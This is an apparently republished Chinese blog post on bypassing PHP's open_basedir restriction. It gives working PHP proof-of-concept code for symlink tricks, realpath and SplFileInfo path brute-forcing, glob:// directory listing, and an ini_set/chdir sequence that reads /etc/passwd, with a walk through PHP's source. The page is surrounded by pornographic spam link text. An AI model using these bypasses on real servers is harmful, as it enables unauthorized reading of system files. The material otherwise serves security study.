日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【web安全】你的open_basedir安全吗?

發布時間:2025/3/21 编程问答 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【web安全】你的open_basedir安全吗? 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

一、open_basedir

看一下php.ini里面的描述:

; open_basedir, if set, limits all file operations to the defined directory ; and below. This directive makes most sense if used in a per-directory or ; per-virtualhost web server configuration file. This directive is ; *NOT* affected by whether Safe Mode is turned On or Off.

open_basedir可將用戶訪問文件的活動范圍限制在指定的區域,通常是其目錄的路徑,也可用符號"."來代表當前目錄。

注意用open_basedir指定的限制實際上是前綴,而不是目錄名。(其實我也是才知道的)
比如open_basedir = /dir/user", 那么目錄 “/dir/user” 和 "/dir/user1"都是可以訪問的,所以如果要將訪問限制在僅為指定的目錄,可以將open_basedir = /dir/user/

二、Bypass

命令執行

為什么選命令執行,因為open_basedir和命令執行無關,就可以直接獲取目標文件。

如果遇到disable_functions,就多換幾個函數;如果關鍵字被過濾,辦法也很多,可以參考大佬文章

【安全技術學習文檔】

syslink() php 4/5/7/8

symlink(string $target, string $link): bool

原理是創建一個鏈接文件 aaa 用相對路徑指向 A/B/C/D,再創建一個鏈接文件 abc 指向 aaa/…/…/…/…/etc/passwd,其實就是指向了 A/B/C/D/…/…/…/…/etc/passwd,也就是/etc/passwd。這時候刪除 aaa 文件再創建 aaa 目錄但是 abc 還是指向了 aaa 也就是 A/B/C/D/…/…/…/…/etc/passwd,就進入了路徑/etc/passwd
payload 構造的注意點就是:要讀的文件需要往前跨多少路徑,就得創建多少層的子目錄,然后輸入多少個../來設置目標文件。

<?php highlight_file ( __FILE__ ); mkdir ( "A" ); //創建目錄 chdir ( "A" ); //切換目錄 mkdir ( "B" ); chdir ( "B" ); mkdir ( "C" ); chdir ( "C" ); mkdir ( "D" ); chdir ( "D" ); chdir ( ".." ); chdir ( ".." ); chdir ( ".." ); chdir ( ".." ); symlink ( "A/B/C/D" , "aaa" ); symlink ( "aaa/../../../../etc/passwd" , "abc" ); unlink ( "aaa" ); mkdir ( "aaa" ); ?>

暴力破解

realpath()

realpath是用來將參數path所指的相對路徑轉換成絕對路徑,然后存于參數resolved_path所指的字符串 數組 或 指針 中的一個函數。 如果resolved_path為NULL,則該函數調用malloc分配一塊大小為PATH_MAX的內存來存放解析出來的絕對路徑,并返回指向這塊區域的指針。

有意思的是,在開啟open_basedir后,當我們傳入的路徑是一個不存在的文件(目錄)時,它將返回false;當我們傳入一個不在open_basedir里的文件(目錄)時,他將拋出錯誤(File is not within the allowed path(s))。

如果一直爆破,是特別麻煩的。。。所以可以借助通配符來進行爆破,條件:Windows環境。

<?php highlight_file ( __FILE__ ); ini_set ( 'open_basedir' , dirname ( __FILE__ )); printf ( "<b>open_basedir: %s</b><br />" , ini_get ( 'open_basedir' )); set_error_handler ( 'isexists' ); $dir = 'd:/WEB/' ; $file = '' ; $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_' ; for ( $i= 0 ; $i < strlen ( $chars ); $i ++ ) { $file = $dir . $chars [ $i ] . '<><' ; realpath ( $file ); } function isexists ( $errno , $errstr ) { $regexp = '/File((.*)) is not within/' ; preg_match ( $regexp , $errstr , $matches ); if ( isset ( $matches [ 1 ])) { printf ( "%s <br/>" , $matches [ 1 ]); } } ?>

bindtextdomain()以及SplFileInfo::getRealPath()

除了realpath(),還有bindtextdomain()和SplFileInfo::getRealPath()作用類似。同樣是可以得到絕對路徑。

bindtextdomain(string $domain, ?string $directory): string|false

當$directory存在時,會返回$directory的值,若不存在,則返回false。

另外值得注意的是,Windows環境下是沒有bindtextdomain函數的,而在Linux環境下是存在的。

SplFileInfo 類為單個文件的信息提供高級面向對象的接口,SplFileInfo::getRealPath 類方法是用于獲取文件的絕對路徑。

為什么把這兩個放在一塊?因為和上面的 bindtextdomain 一樣,是基于報錯判斷的,然后再進行爆破。

<?php ini_set ( 'open_basedir' , dirname ( __FILE__ )); printf ( "<b>open_basedir: %s</b><br />" , ini_get ( 'open_basedir' )); $basedir = 'D:/test/' ; $arr = array (); $chars = 'abcdefghijklmnopqrstuvwxyz0123456789' ; for ( $i= 0 ; $i < strlen ( $chars ); $i ++ ) { $info = new SplFileInfo ( $basedir . $chars [ $i ] . '<><' ); $re = $info-> getRealPath (); if ( $re ) { dump ( $re ); } } function dump ( $s ){ echo $s . '<br/>' ; ob_flush (); flush (); } ?>

glob:// 偽協議

glob:// — 查找匹配的文件路徑模式

設計缺陷導致的任意文件名列出 :由于PHP在設計的時候(可以通過源碼來進行分析),對于glob偽協議的實現過程中不檢測open_basedir,以及safe_mode也是不會檢測的,由此可利用glob:// 羅列文件名
(也就是說在可讀權限下,可以得到文件名,但無法讀取文件內容;也就是單純的羅列目錄,能用來繞過open_basedir)

單用 glob:// 是沒有辦法繞過的,要結合其它函數來實現

DirectoryIterator+glob://

DirectoryIterator 是php5中增加的一個類,為用戶提供一個簡單的查看目錄的接口,結合這兩個方式,我們就可以在php5.3以后版本對目錄進行列舉。

<?php highlight_file ( __FILE__ ); printf ( '<b>open_basedir : %s </b><br />' , ini_get ( 'open_basedir' )); $a = $_GET [ 'a' ]; $b = new DirectoryIterator ( $a ); foreach ( $b as $c ){ echo ( $c-> __toString () . '<br>' ); } ?>

即可列出根目錄下的文件,但問題是,只能列舉出根目錄和open_basedir指定目錄下文件,其他目錄不可。

opendir()+readdir()+glob://

opendir() 函數為打開目錄句柄,readdir() 函數為從目錄句柄中讀取條目。結合兩個函數即可列舉根目錄中的文件:

<?php highlight_file ( __FILE__ ); $a = $_GET [ 'c' ]; if ( $b = opendir ( $a ) ) { while ( ( $file = readdir ( $b )) !== false ) { echo $file . "<br>" ; } closedir ( $b ); } ?>

同樣,只能列舉出根目錄和open_basedir指定目錄下文件,其他目錄不可。

姿勢最騷的——利用ini_set()繞過

ini_set()

ini_set()用來設置php.ini的值,在函數執行的時候生效,腳本結束后,設置失效。無需打開php.ini文件,就能修改配置。函數用法如下:

ini_set ( string $varname , string $newvalue ) : string

POC

<?php highlight_file ( __FILE__ ); mkdir ( 'Andy' ); //創建目錄 chdir ( 'Andy' ); //切換目錄 ini_set ( 'open_basedir' , '..' ); //把open_basedir切換到上層目錄 chdir ( '..' ); //切換到根目錄 chdir ( '..' ); chdir ( '..' ); ini_set ( 'open_basedir' , '/' ); //設置open_basedir為根目錄 echo file_get_contents ( '/etc/passwd' ); //讀取/etc/passwd

從php底層去研究ini_set屬于web-pwn的范疇了,這一塊我真的不太會,所以去請教了一位二進制的師傅,指導了一下入手點。

if ( php_check_open_basedir_ex ( ptr , 0 ) != 0 ) {/* At least one portion of this open_basedir is less restrictive than the prior one, FAIL */efree ( pathbuf );return FAILURE ;}

php_check_open_basedir_ex()如果想要利用ini_set覆蓋之前的open_basedir,那么必須通過該校驗。

那我們跟進此函數

if ( strlen ( path ) > ( MAXPATHLEN - 1 )) {php_error_docref ( NULL , E_WARNING , "File name is longer than the maximum allowed path length on this platform (%d): %s" , MAXPATHLEN , path );errno = EINVAL ;return - 1 ; } #define PATH_MAX 1024 /* max bytes in pathname */

該函數會判斷路徑名稱是否過長,在官方設定中給定范圍是小于1024。

此外,另一個檢測函數php_check_specific_open_basedir(),同樣我們繼續跟進

if ( strcmp ( basedir , "." ) || ! VCWD_GETCWD ( local_open_basedir , MAXPATHLEN )) {/* Else use the unmodified path */strlcpy ( local_open_basedir , basedir , sizeof ( local_open_basedir ));} path_len = strlen ( path ); if ( path_len > ( MAXPATHLEN - 1 )) {/* empty and too long paths are invalid */return - 1 ; }

比對目錄,并給local_open_basedir進行賦值,并檢查目錄名的長度是否合法,接下來,利用expand_filepath()將傳入的path,以絕對路徑的格式保存在resolved_name,將local_open_basedir的值存放于resolved_basedir,然后二者進行比較。

if ( strncmp ( resolved_basedir , resolved_name , resolved_basedir_len ) == 0 ) {if ( resolved_name_len > resolved_basedir_len && resolved_name [ resolved_basedir_len - 1 ] != PHP_DIR_SEPARATOR ) { return - 1 ;} else {/* File is in the right directory */return 0 ;} } else {/* /openbasedir/ and /openbasedir are the same directory */if ( resolved_basedir_len == ( resolved_name_len + 1 ) && resolved_basedir [ resolved_basedir_len - 1 ] == PHP_DIR_SEPARATOR ) { if ( strncasecmp ( resolved_basedir , resolved_name , resolved_name_len ) == 0 ) {if ( strncmp ( resolved_basedir , resolved_name , resolved_name_len ) == 0 ) {return 0 ;}}return - 1 ;} }

進行比較的兩個值均是由expand_filepath函數生成的,因此要實現bypass?php_check_open_basedir_ex,關鍵就是bypass?expand_filepath

還是一樣,跟進expand_filepath函數

根據師傅所說,在我們跟進到virtual_file_ex得到關鍵語句:

if ( ! IS_ABSOLUTE_PATH ( path , path_length )) {if ( state-> cwd_length == 0 ) {/* 保存 relative path */start = 0 ;memcpy ( resolved_path , path , path_length + 1 );} else {int state_cwd_length = state-> cwd_length ;state-> cwd_length = path_length ;memcpy ( state-> cwd , resolved_path , state-> cwd_length + 1 );

是目錄拼接操作,如果path不是絕對路徑,同時state->cwd_length == 0長度為0,那么會將path作為絕對路徑,儲存在resolved_path。否則將會在state->cwd后拼接,那么重點就在于path_length

path_length = tsrm_realpath_r ( resolved_path , start , path_length , & ll , & t , use_realpath , 0 , NULL ); /*tsrm_realpath_r():刪除雙反斜線 . .. 和前一個目錄*/

總的來說,expand_filepath()在保存相對路徑和絕對路徑的時候,而open_basedir()如果為相對路徑的話,是會實時變化的,這就是問題所在。在POC中每次目錄操作都會進行一次open_basedir的比對,即php_check_open_basedir_ex。由于相對路徑的問題,每次open_basedir的目錄全都會上跳。

比如初始設定open_basedir為/a/b/c/d,第一次chdir后變為/a/b/c,第二次chdir后變為/a/b,第三次chdir后變為/a,第四次chdir后變為/,那么這時候再進行ini_set,調整open_basedir為/即可通過php_check_open_basedir_ex的校驗,成功覆蓋,導致我們可以bypass open_basedir。

三、總結

其實我感覺如果直接能RCE,那肯定最好;然后相比之下最后一種姿勢最騷;暴力破解應該是最繁瑣的,不過也不失為一種方法的ma。

總結

以上是生活随笔為你收集整理的【web安全】你的open_basedir安全吗?的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 日韩精品一区二区三 | 九九人人 | www黄色av | 国产重口老太伦 | 国产五月天婷婷 | 91成人在线观看喷潮蘑菇 | 成人免费a级片 | 亚洲精品欧美激情 | 中文字字幕在线中文 | 很嫩很紧直喷白浆h | 久一区二区三区 | 成人人伦一区二区三区 | 日韩欧美视频二区 | 女生高潮视频在线观看 | 亚洲美免无码中文字幕在线 | 亚洲国产精品成人综合久久久 | 国产日韩一区二区在线观看 | 久久国产在线观看 | 狠狠操狠狠摸 | 暖暖成人免费视频 | 免费av地址 | 中国成熟妇女毛茸茸 | 污污污www精品国产网站 | 林天顾悦瑶笔趣阁 | 色婷婷yy| 90岁老太婆乱淫 | 天天躁日日躁aaaa视频 | 免费高清欧美大片在线观看 | av天天有 | 国产精品久久久久精 | 69视频在线播放 | av在线看片 | 日韩综合在线观看 | 国产手机精品视频 | 影音先锋成人资源网站 | 欧美体内谢she精2性欧美 | 好吊日在线 | 国产熟妇久久777777 | 叶山小百合av一区二区 | 丁香综合 | 狠狠操导航 | 男女免费网站 | 成人免费黄色大片v266 | 嫩草影院一区二区 | 怨女1988国语版在线观看高清 | 亚洲免费在线观看视频 | 欧美成人精品欧美一级 | 日韩国产激情 | 国产成人一级片 | 日韩性爰视频 | 欧美黑粗大 | 操女人免费视频 | 国内特级毛片 | 成人录像 | 国内自拍在线观看 | www天天操 | 国产夫妻精品 | 真实乱视频国产免费观看 | 善良的公与媳hd中文字 | 波多野结衣一区 | 亚洲热在线 | 91在线免费看片 | 日本韩国免费观看 | 久久精品国产一区二区电影 | 激情伊人五月天 | 国产视频一区二区在线观看 | 国产稀缺真实呦乱在线 | re久久| 久久青青草视频 | 激情高潮呻吟抽搐喷水 | 久久成人免费网站 | 黄色成年人视频 | 精品人妻无码专区在线 | 国产在线精品自拍 | 日韩一区二区在线观看视频 | 日韩精品一二三四 | 亚洲久久色 | 亚洲精品在线观看视频 | 在线观看免费av片 | 69毛片 | youjizz视频 | 肉色超薄丝袜脚交69xx | 女人扒开腿让男人捅爽 | 国产精品4区 | 国产suv精品一区二区883 | 黄色在线观看免费视频 | 奇米影视久久 | 日韩久| 欧美干| 福利二区三区 | 日韩精品在线观看一区二区三区 | 永久免费无码av网站在线观看 | 国产一级做a爰片久久毛片男男 | 99re中文字幕 | 蜜桃视频久久 | 野外吮她的花蒂高h在线观看 | 9l视频自拍九色9l视频 | 日本精品久久久久久久 | 搞中出 |